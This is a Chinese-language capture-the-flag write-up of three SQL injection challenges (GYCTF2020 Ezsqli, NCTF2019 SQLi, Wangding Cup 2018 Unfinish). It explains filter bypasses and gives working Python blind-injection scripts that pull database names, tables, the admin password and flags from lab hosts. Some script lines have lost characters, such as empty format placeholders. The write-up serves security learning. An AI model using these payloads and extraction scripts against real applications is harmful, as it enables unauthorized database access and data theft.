[GYCTF2020]Ezsqli
知识点
ascii 比较盲注
解题过程
输入id=1 的时候返回nu1l 然后 先判断是数字型还是字符型 因为一些东西被过滤了 输入1&&1=2
返回
因为这个使用某些字符会导致post传参时造成歧义 这是将paylaod url编码
所以判断为字符型
由于过滤了 union 所以不能使用 联合注入 没有报错 不能使用 报错注入
这里使用
爆出数据库名
import requests
k=1
result=""
while True:
for i in range(32,128):
url="http://f78fda52-4d4b-4dea-894d-8d1f16a26f91.node4.buuoj.cn:81/index.php"
id="1&&ascii(substr(database(),,1))=".format(k,i)
data="id":id
# print(data)
res=requests.post(url=url,data=data)
if("Nu1L" in res.text):
result+=chr(i)
print(result)
k+=1
break
else:
pass
由于过滤了 information 所以这里用其他表代替 跑出表名
id="1&&(select ascii(substr(group_concat(table_name),1,1)) from sys.schema_table_statistics_with_buffer where table_schema=database())=1"
但是这里我们无法获得 列明 所以这里使用无列明注入
无列明 现在我知道的有四种 一种的 用 join using 但是这种解法的前提是需要有 报错回显才可以的
还有 一种是 子查询 但是这种的前提是 使用 union
还有 order by 这个是不能跨表查询的 同样也是需要用到 union
最后一种是ascii比较盲注
先看一下原理
select \'a\'>\'c\';
select \'d\'>\'c\'
这里比较的话是按照ascii的顺序来比较的
同样的我们还可以使用 这个语句
select((select \'1\',\'a\',\'3\')>(select * from users limit 0,1));
这里我们先要注意 这里 使用 比较的话 要使它返回的行数 (元组)是一致的 所以添加limit
然后 看 这里先比较第一列的数据 第一列相同的话 继续比较第二列
所以写脚本一位一位表爆破
import requests
import time
k=1
result=""
kkkl=\'\'
while True:
for i in range(33,127):
time.sleep(0.2)
kkkl=str(result+chr(i))
url="http://f78fda52-4d4b-4dea-894d-8d1f16a26f91.node4.buuoj.cn:81/index.php"
# id="1&&ascii(substr(database(),,1))=".format(k,i)
# users233333333333333,f1ag_1s_h3r3_hhhhh
# id="1&&(select ascii(substr(group_concat(table_name),,1)) from sys.schema_table_statistics_with_buffer where table_schema=database())=".format(k,i)
id="1&& (select 1,\'\')>(select * from f1ag_1s_h3r3_hhhhh)".format(kkkl)
# print(kkkl)
data="id":id
print(data)
res=requests.post(url=url,data=data)
if("Nu1L" in res.text):
result+=chr(i-1)
print(result)
k+=1
break
else:
pass
time.sleep 一下 要不要跑的时候会有影响
当某一位大于后面表里面的数据的时候 就会满足 返回nu1l 这里其实是比表里面的数据 ascii大一了 所以后面就需要减去1 这里因为mysql不是区分大小写的 所以这里需要全部转换为小写
猜测 这个 flag表里面只有一行数据 所以不叫limit 也不会报错 这里也是吧limit过滤掉了
这里 如果过滤了 information_schema 的时候 我们无法获取列明的时候就需要使用无列明注入 总的来说这道题还是学到点东西的
[NCTF2019]SQLi
select * from users where username=\'\\\' and passwd=\'||1=1;%00\'
这里直接都把注入类型告诉我们了 但是 这里过滤了 单引号 我们无法闭合前面的单引号
但是这里我们可以使用 反斜线来 转义单引号 然后 实现闭合
例如
select * from users where username=\'\\\' and passwd=\'aaaa\'
这里 \\\' and passwd=
就成了 字符串 理解为 username 为 前面那一串 字符串 然后 passwd的第一个引号 把之前的username后面的那一个引号闭合了 所以这个时候我们就可以使用sql语句来注入了 但是
同样没有回显 所以需要用过盲注 这里它匹配要用户 意思就是说 匹配到 存在的用户名 就可以跳转到weclome.php界面 所以就可以利用这个判断来进行一个布尔盲注
hint.txt 里面的内容是
意思是只要 使用 admin用户的密码登录就可以获得flag
所以这里注入admin的密码 使用布尔盲注来注入
这里 的 in = like 都被过滤掉了 可以使用 正则来匹配 regexp
sql中的regexp
先看一下表里面的信息
然后现在我们要匹配 username 以 y结尾的数据
select * from users where username like \'%y\';
现在匹配 包含y的数据
select * from users where username like \'%y%\';
匹配以y开头的数据
然后再来看regexp
匹配已y结尾的数据
select * from users where username regexp \'y$\';
匹配以y开头的数据
select * from users where username regexp \'^y\';
还有一些特殊的匹配方式
用 |
代替or 无需空格
匹配包含 a 或者包含b的
select * from users where username regexp \'a|b\';
用方括号"[]"来囊括多个搜索条件
匹配包含`a[dy]
这个意思就是匹配包含 ad 或者 ay的数据
这里 我们是从 当前select的表里面直接 regexp的 数据 猜测密码的字符跟post的字段一样 passwd
import requests
from urllib import parse
import string
flag=\'\'
kkkl=\'\'
string= string.ascii_lowercase + string.digits + \'_\'#//密码由小写字母 数字 下划线组成(实验证明
while 1:
for i in string:
kkkl=flag+i
print(kkkl)
url="http://49f40c53-b831-408b-a561-55a64426c901.node4.buuoj.cn:81/index.php"
post_passwd="||passwd/**/regexp/**/\\"^\\";".format(kkkl,parse.unquote(\'%00\'))
data="username":"\\\\","passwd":post_passwd
print(data)
res=requests.post(url=url,data=data)
if(\'welcome\' in res.text):
flag=kkkl
print(flag)
break
else:
pass
随便一个用户名 加admin的密码就可以登上去
[网鼎杯2018]Unfinish
无列明注入
这里会把 注册的 username 的 展现出来 然后
这里猜测后端 为
insert into users values (\'email\',\'username\',\'password\')
然后这里使用 sql的一个加法运算 来 爆出数据
因为 sql特性 这里加法的话只能用 数字来加 所以这里转换成ascii就可以 我看网上还有 使用二次hex的 来报数据的
这里过滤了 , 然后 通关 from for 来绕过
INSERT into users VALUES(\'1\',\'\'+ascii(substr((select * from flag),1,1))+\'\',\'password\')
import requests
import re
import random
k=1
flag=\'\'
while 1:
url="http://edc8b768-e17b-45d1-a323-79854eb404ce.node4.buuoj.cn:81/register.php"
url_log="http://edc8b768-e17b-45d1-a323-79854eb404ce.node4.buuoj.cn:81/login.php"
email="@qq.com".format(str(random.randint(0, 99999)))
# username="\'+ascii(substr(database()from FOR 1))+\'".format(str(k))
username = "\'+ascii(substr((select * from flag)from FOR 1))+\'".format(str(k))
print(email)
password=\'123456\'
data="email":email,"username":username,"password":password
data_log="email":email,"password":password
res=requests.post(url=url,data=data)
res_log=requests.post(url=url_log,data=data_log,allow_redirects=True)
text=res_log.text
regex=r\'<span class="user-name">\\n (.*?) </span>\'
result=re.findall(regex,text, re.S | re.M)
result_test=int(result[0])
print(type(result_test))
flag+=chr(result_test)
print(flag)
print(chr(result_test))
# print(chr(int(result_test)))
k+=1